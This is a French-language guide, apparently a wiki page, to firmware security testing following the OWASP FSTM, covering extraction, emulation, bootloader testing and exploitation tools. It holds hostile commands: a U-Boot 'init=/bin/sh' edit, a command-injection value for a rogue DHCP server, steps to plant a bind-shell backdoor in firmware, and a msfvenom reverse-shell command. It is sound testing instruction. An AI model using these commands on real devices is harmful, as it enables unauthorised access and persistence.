Firmware hacking
Description
Un firmware (ou logiciel embarquรฉ en franรงais) est un programme informatique intรฉgrรฉ dans un matรฉriel, qui participe ร son bon fonctionnement et qui lui permet d'รฉvoluer (via l'installation de mises ร jour) sans avoir besoin de remplacer ce matรฉriel ou de revoir son design. Habituellement, il dรฉmarre le systรจme d'exploitation et fournit des services d'exรฉcution spรฉcifiques pour les programmes en communiquant avec divers composants hardware. Bien que le firmware soit un logiciel plus simple et plus fiable qu'un systรจmes d'exploitation, il est รฉgalement plus restrictif et est conรงu pour prendre en charge uniquement un matรฉriel spรฉcifique.
OWASP Firmware Security Testing Methodology (FSTM)
Etapes
Collecte d'information
Obtention du firmware
Analyse du firmware
Extraction du systรจme de fichier
Analyse du contenu du systรจme de fichier
Emulation du firmware
Analyse Dynamique
Analyse en live
Exploitation du binaire
Collecte d'information
Durant cette phase, On va tenter de rรฉcolter un maximum d'informations sur la cible pour comprendre sa composition globale sous-jacente ร la technologie:
Architecture de CPU supportรฉe
OS
Config de bootloader
Hardware
Datasheets
Lines-of-Code (LoC)
Code source
Composants tiers
Licence Open Source (exp: GPL)
ChangeLogs
ID FCC
Conception et diagrammes de flux de donnรฉes
Threat Models
Tests d'intrusion prรฉcรฉdents
Bug tracking ticket (exp: Jira, Bug bounty)
...
Obtenir le firmware
Pour obtenir le firmware, il y a diffรฉrentes mรฉthodes possibles:
Demander directement au fabriquant, vendeur, ร l'รฉquipe de dรฉveloppement ou a un client.
Le build ร partir de zรฉro en utilisant les procรฉdures pas ร pas fournies par le fabricant.
Via la page de support du vendeur.
Via des requรชtes Google dork ciblรฉes sur les extensions de fichiers binaires et les plates-formes de partage de fichiers telles que Dropbox, Box et Google Drive
En faisant un MITM sur les communications du systรจme pendant une mise ร jour
Via des S3 buckets
Extraire directement du matรฉriel via UART, JTAG, PICit, etc.
Sniffer la communication sรฉrie dans les composants hardware pour les demandes aux serveur de mise ร jour.
Via un endpoint codรฉ en dur dans les applications mobiles.
Via un dump depuis le bootloader vers le stockage flash ou sur le rรฉseau via tftp.
Assurez-vous de respecter les lois et rรฉglementations locales lors du tรฉlรฉchargement de donnรฉes ร partir de services de stockage de fournisseurs de cloud exposรฉs.
Analyse du firmware
Une fois le firmware en notre possession, on va pouvoir faire une premiรจre analyse du fichier directement avec diffรฉrents utilitaires:
Si cela ne renvoie pas de donnรฉes interessantes, c'est peut-รชtre que le binaire est chiffrรฉ auquel cas on peut utiliser binwalk de cette maniรจre pour obtenir l'entropie.
$ binwalk -E <bin>
Si l'entropie est basse, le binaire n'est probablement pas chiffrรฉ. Cependant ร l'inverse, si l'entropie est haute le binaire est probablement chiffrรฉ.
Extraction du filesystem
Pour extraire le filesystem d'un binaire on peut utiliser l'utilitaire binwalk de cette maniรจre:
$ binwalk -ev <bin>
Les fichiers seront extraits vers " _binaryname/filesystemtype/"
Types de systรจmes de fichiers : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
Dans le cas ou binwalk n'aurait pas le magic byte du systรจme de fichier dans ses signatures, Dans ces cas, utilisez binwalk pour trouver le dรฉcalage du systรจme de fichiers et dรฉcoupez le systรจme de fichiers compressรฉ ร partir du binaire et extrayez manuellement le systรจme de fichiers en fonction de son type.
Exemple:
Dans l'exemple ci-dessus, on peut remarquer ร la derniรจre ligne qu'il s'agit d'un "Squashfs".
On peut alors utiliser la commande "dd" comme ceci pour copier le systรจme de fichier:
On va ensuite utiliser unsquashfs pour dรฉcompresser le fichier output.squashfs gรฉnรฉrรฉ prรฉcรฉdemment:
$ unsquashfs output.squashfs
Les fichiers seront ensuite dans le rรฉpertoire "squashfs-root".
Fichier archive CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
jffs2 filesystems
$ jefferson rootfsfile.jffs2
ubifs filesystems avec NAND flash
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
Analyse des filesystems
Dans cette รฉtape on va principalement rechercher les informations suivantes dans le contenu des filesystems:
Deamons de rรฉseau hรฉritรฉs non sรฉcurisรฉs tels que telnetd
Identifiants codรฉs en dur (nom d'utilisateur, mot de passe, clรฉ d'API, clรฉs SSH, portes dรฉrobรฉes...)
fuite d'informations techniques (API endpoints, IP internes...)
Mettre ร jour les fonctionnalitรฉs du serveur pouvant รชtre utilisรฉes comme point d'entrรฉe.
Examiner le code non compilรฉ et dรฉmarrer des scripts pour l'exรฉcution de code ร distance.
Extraire les fichiers binaires compilรฉs ร utiliser pour l'analyse hors ligne avec un dรฉsassembleur.
Utiliser des outils et toolkit.
Emulation du firmware
En utilisant les dรฉtails et les indices identifiรฉs dans les รฉtapes prรฉcรฉdentes, le micrologiciel ainsi que ses binaires encapsulรฉs doivent รชtre รฉmulรฉs pour vรฉrifier les vulnรฉrabilitรฉs potentielles.
Il y a plusieurs types d'รฉmulation qui sont les suivantes:
L'รฉmulation partielle
L'รฉmulation complรจte
L'รฉmulation sur un systรจme rรฉel ou sur VM
Emulation partielle (Emulation en mode utilisateur)
Prรฉrequis: Architecture du CPU et endianness.
el = little endian
eb = big endian
Exemple:
Une fois l'architecture et l'endianness du processeur identifiรฉs, localisez le binaire QEMU appropriรฉ pour effectuer une รฉmulation partielle (pas pour รฉmuler le micrologiciel complet, mais les binaires avec le micrologiciel extrait.)
Typiquement, dans : /usr/local/qemu-archou/usr/bin/qemu-arch
Copiez le binaire QEMU applicable dans le systรจme de fichiers racine extrait. La deuxiรจme commande montre la copie du binaire QEMU du bras statique vers le systรจme de fichiers racine extrait dans un shell ZSH indiquant le chemin absolu.
Exรฉcutez le binaire ARM (ou l'architecture appropriรฉe) ร รฉmuler ร l'aide de QEMU et chrootez avec la commande suivante :
$ sudo chroot . ./qemu-arch <binaire ร emuler>
Exemple avec busybox:
Parfois, les requรชtes sont envoyรฉes au binaire CGI par le serveur HTTP. En รฉmulant simplement le binaire CGI, il est possible d'analyser la procรฉdure du processus ou de vรฉrifier la vulnรฉrabilitรฉ sans configurer de serveur HTTP. L'exemple suivant envoie une requรชte GET ร un binaire MIPS CGI.
Avec le binaire cible รฉmulรฉ, interagissez avec son interprรฉteur ou son service d'รฉcoute. Fuzzez ses interfaces d'application et de rรฉseau.
Emulation complรจte
Lorsque cela est possible, utilisez des outils d'automatisation tels que:
Analyse dynamique
ร cette รฉtape, effectuez des tests dynamiques pendant qu'un pรฉriphรฉrique s'exรฉcute dans son environnement normal ou รฉmulรฉ. Les objectifs de cette รฉtape peuvent varier selon le projet et le niveau d'accรจs accordรฉ. En rรจgle gรฉnรฉrale, cela implique la falsification des configurations du chargeur de dรฉmarrage, les tests Web et API, le fuzzing (services rรฉseau et d'application), ainsi que l'analyse active ร l'aide de divers outils pour acquรฉrir un accรจs รฉlevรฉ (racine) et/ou l'exรฉcution de code.
Test du bootloader
Lors de la modification du dรฉmarrage de l'appareil et des chargeurs de dรฉmarrage tels que U-boot, essayez ce qui suit:
Essayez d'accรฉder au shell de l'interprรฉteur des chargeurs de dรฉmarrage en appuyant sur "0", espace ou d'autres "codes magiques" identifiรฉs lors du dรฉmarrage.
Modifier les configurations pour exรฉcuter une commande shell telle que l'ajout de ' init=/bin/sh' ร la fin des arguments de dรฉmarrage.
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 int=/bin/sh
#saveenv
#boot
Configurez un serveur TFTP pour charger des images sur le rรฉseau localement ร partir de votre poste de travail. Assurez-vous que l'appareil dispose d'un accรจs au rรฉseau.
#setenv ipaddr <device local IP>
#setenv serverip <tftp server IP>
#saveenv
#reset
#ping 192.168.2.1 #check si le systรจme est accessible sur le rรฉseau
#tftp ${loadaddr} uImage-3.6.35 #loadaddr prend deux arguments : l'adresse dans laquelle charger le fichier et le nom de fichier de l'image sur le serveur TFTP
Utilisez
ubootwrite.py
pour รฉcrire l'image uboot et poussez un firmware modifiรฉ pour gagner la racine.Vรฉrifiez les fonctionnalitรฉs de dรฉbogage activรฉes telles que:
journalisation dรฉtaillรฉe
chargement de noyaux arbitraires
dรฉmarrage ร partir de sources non fiables
Configurer un serveur DHCP non autorisรฉ avec des paramรจtres malveillants comme entrรฉe pour qu'un appareil l'ingรจre lors d'un dรฉmarrage PXE.
Utilisez le serveur auxiliaire DHCP de Metasploit (MSF) et modifiez le paramรจtre 'FILENAME' avec des injection de commande telles que โ
a";/bin/sh;#
โpour tester la validation des entrรฉes pour les procรฉdures de dรฉmarrage de l'appareil.
Tests d'intรฉgritรฉ
Tentez de tรฉlรฉcharger un firmware personnalisรฉ et/ou des fichiers binaires compilรฉs pour chercher des dรฉfauts d'intรฉgritรฉ ou de vรฉrification de signature. Par exemple, compilez un shell de liaison de porte dรฉrobรฉe qui dรฉmarre au dรฉmarrage en procรฉdant comme suit.
Extraire le firmware avec firmware-mod-kit (FMK)
Identifier l'architecture et l'endianness du micrologiciel cible
Crรฉez un compilateur croisรฉ avec Buildroot ou utilisez d'autres mรฉthodes adaptรฉes ร votre environnement
Utiliser un compilateur croisรฉ pour crรฉer la porte dรฉrobรฉe
Copiez la porte dรฉrobรฉe dans le firmware extrait /usr/bin
Copiez le binaire QEMU appropriรฉ dans le rootfs du micrologiciel extrait
รmulez la porte dรฉrobรฉe en utilisant chroot et QEMU
Connectez-vous ร la porte dรฉrobรฉe via netcat
Supprimer le binaire QEMU du rootfs du micrologiciel extrait
Reconditionner le firmware modifiรฉ avec FMK
Testez le micrologiciel de la porte dรฉrobรฉe en รฉmulant avec la boรฎte ร outils d'analyse du micrologiciel (FAT) et en vous connectant ร l'adresse IP et au port de la porte dรฉrobรฉe cible ร l'aide de netcat
Si un shell racine a dรฉjร รฉtรฉ obtenu ร partir d'une analyse dynamique, d'une manipulation du chargeur de dรฉmarrage ou de moyens de test de sรฉcuritรฉ matรฉrielle, essayez d'exรฉcuter des binaires malveillants prรฉcompilรฉs tels que des implants ou des shells inversรฉs. Envisagez d'utiliser des outils automatisรฉs de charge utile utilisรฉs pour les Command and Control (C&C). Par exemple, le framework Metasploit et 'msfvenom' peuvent รชtre exploitรฉs en suivant les รฉtapes suivantes.
Identifier l'architecture et l'endianness du micrologiciel cible
Utilisez msfvenom pour spรฉcifier la charge utile cible appropriรฉe (-p), l'adresse IP de l'hรดte de l'attaquant (LHOST=), le numรฉro de port d'รฉcoute (LPORT=), le type de fichier (-f), l'architecture (--arch), la plate-forme (--platform linux ou windows), et le fichier de sortie (-o). Exemple:
$ msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
Transfรฉrez la charge utile vers le pรฉriphรฉrique compromis et assurez-vous que la charge utile dispose des autorisations d'exรฉcution
Prรฉparez Metasploit pour gรฉrer les demandes entrantes. (msfconsole => handler)
Exรฉcutez le meterpreter reverse shell sur l'appareil compromis
Regarder les sessions de meterpreter ouvertes
Effectuer des activitรฉs de post-exploitation
Si possible, identifiez une vulnรฉrabilitรฉ dans les scripts de dรฉmarrage pour obtenir un accรจs persistant ร un pรฉriphรฉrique lors des redรฉmarrages. De telles vulnรฉrabilitรฉs surviennent lorsque les scripts de dรฉmarrage rรฉfรฉrencent ou dรฉpendent de code situรฉ dans des emplacements montรฉs non fiables tels que des cartes SD et des volumes flash utilisรฉs pour stocker des donnรฉes en dehors des systรจmes de fichiers racine.
Test d'applications Web embarquรฉes
Analyse du runtime
L'analyse d'exรฉcution implique l'attachement ร un processus en cours d'exรฉcution ou ร un binaire pendant qu'un pรฉriphรฉrique s'exรฉcute dans son environnement normal ou รฉmulรฉ. Les รฉtapes d'analyse d'exรฉcution de base sont fournies ci-dessous:
$ sudo chroot . ./qemu-arch -L -g <gdb_port>
Attachez gdb-multiarch ou utilisez IDA pour รฉmuler le binaire
Dรฉfinissez des points d'arrรชt pour les fonctions identifiรฉes lors de l'รฉtape 4 telles que memcpy, strncpy, strcmp, etc.
Exรฉcutez de grandes chaรฎnes de charge utile pour identifier les dรฉbordements ou les plantages de processus ร l'aide d'un fuzzer
Exploitation du binaire
Aprรจs avoir identifiรฉ une vulnรฉrabilitรฉ dans un fichier binaire ร partir des รฉtapes prรฉcรฉdentes, un PoC appropriรฉ est requis pour dรฉmontrer l'impact et le risque dans le monde rรฉel. Le dรฉveloppement de code d'exploit nรฉcessite une expรฉrience de programmation dans des langages de niveau infรฉrieur (par exemple ASM, C/C++, shellcode, etc.) ainsi qu'une expรฉrience dans l'architecture cible particuliรจre (par exemple MIPS, ARM, x86, etc.). Le code PoC consiste ร obtenir une exรฉcution arbitraire sur un appareil ou une application en contrรดlant une instruction en mรฉmoire.
Il n'est pas courant que des protections d'exรฉcution binaires (par exemple NX, DEP, ASLR, etc.) soient en place dans les systรจmes embarquรฉs, mais lorsque cela se produit, des techniques supplรฉmentaires peuvent รชtre nรฉcessaires, telles que le Return Oriented Programming (ROP). ROP permet ร un attaquant d'implรฉmenter des fonctionnalitรฉs malveillantes arbitraires en enchaรฎnant le code existant dans le code du processus/binaire cible connu sous le nom de gadgets. Des mesures devront รชtre prises pour exploiter une vulnรฉrabilitรฉ identifiรฉe telle qu'un dรฉbordement de tampon en formant une chaรฎne ROP. Un outil qui peut รชtre utile dans des situations comme celles-ci est le chercheur de gadgets de Capstone (ROPGadget)
Outils
IDA
IDA est un outil d'analyse statique de fichier binaire. Il existe en version Pro (payante) et Freeware (gratuite).
ressource: https://hex-rays.com/ida-free/
Firmwalker
Firmwalker est un script bash permettant de rechercher dans les filesystem du contenu sensible.
Utilisation:
$ ./firmwalker path/to/root/filesystem path/for/firmwalker.txt
ressource: https://github.com/scriptingxss/firmwalker
Firmware Analysis Comparison Toolkit (FACT)
FACT est destinรฉ ร automatiser la majeure partie du processus d'analyse du micrologiciel. Il dรฉcompresse les fichiers de firmware arbitraires et traite plusieurs analyses. De plus, il peut comparer plusieurs images ou fichiers uniques. De plus, le dรฉballage, l'analyse et les comparaisons sont basรฉs sur des plug-ins garantissant une flexibilitรฉ et une รฉvolutivitรฉ maximales.
ressource: https://github.com/fkie-cad/FACT_core
EMBA - Embedded Analyzer
EMBA est un scanner de firmware automatisรฉ permettant de remonter les vulnรฉrabilitรฉs prรฉsentes dans un firmware et d'en ressortir un rapport dรฉtaillรฉ.
ressource: https://github.com/e-m-b-a/emba
Firmware Analysis Toolkit
FAT est une boรฎte ร outils conรงue pour aider les chercheurs en sรฉcuritรฉ ร analyser et ร identifier les vulnรฉrabilitรฉs de l'IoT et du micrologiciel des appareils embarquรฉs.
Exemple d'utilisation:
$ python3 fat.py firmware.img --qemu 2.5.0
ressource: https://github.com/attify/firmware-analysis-toolkit
Emux
Emux (anciennement ARMX) est un framework d'รฉmulation de firmware.
ressource: https://github.com/therealsaumil/emux
MIPS-X
MIPS-X est un framework d'รฉmulation de firmware
ressource: https://github.com/getCUJO/MIPS-X
FIRMADYNE
FIRMADYNE est un systรจme automatisรฉ et รฉvolutif pour effectuer l'รฉmulation et l'analyse dynamique du micrologiciel embarquรฉ basรฉ sur Linux.
ressource: https://github.com/firmadyne/firmadyne
Qiling
Qiling est un framework d'รฉmulation de firmware avancรฉ.
ressource: https://github.com/qilingframework/qiling
Peda
Peda est un assistance au dรฉveloppement d'exploits Python pour GDB.
ressource: https://github.com/longld/peda
ROPGadget
ROPGadget permet de rechercher vos gadgets sur vos binaires pour faciliter votre exploitation ROP. ROPgadget prend en charge les formats ELF, PE et Mach-O sur les architectures x86, x64, ARM, ARM64, PowerPC, SPARC et MIPS.
ressource: https://github.com/JonathanSalwan/ROPgadget
Firmware volontairement vulnรฉrables
OWASP IoTGoat
Damn Vulnerable Router Firmware Project
Damn Vulnerable ARM Router (DVAR)
Azeria Labs VM 2.0
Damn Vulnerable IoT Device (DVID)
Derniรจre mise ร jour
Cet article vous a-t-il รฉtรฉ utile ?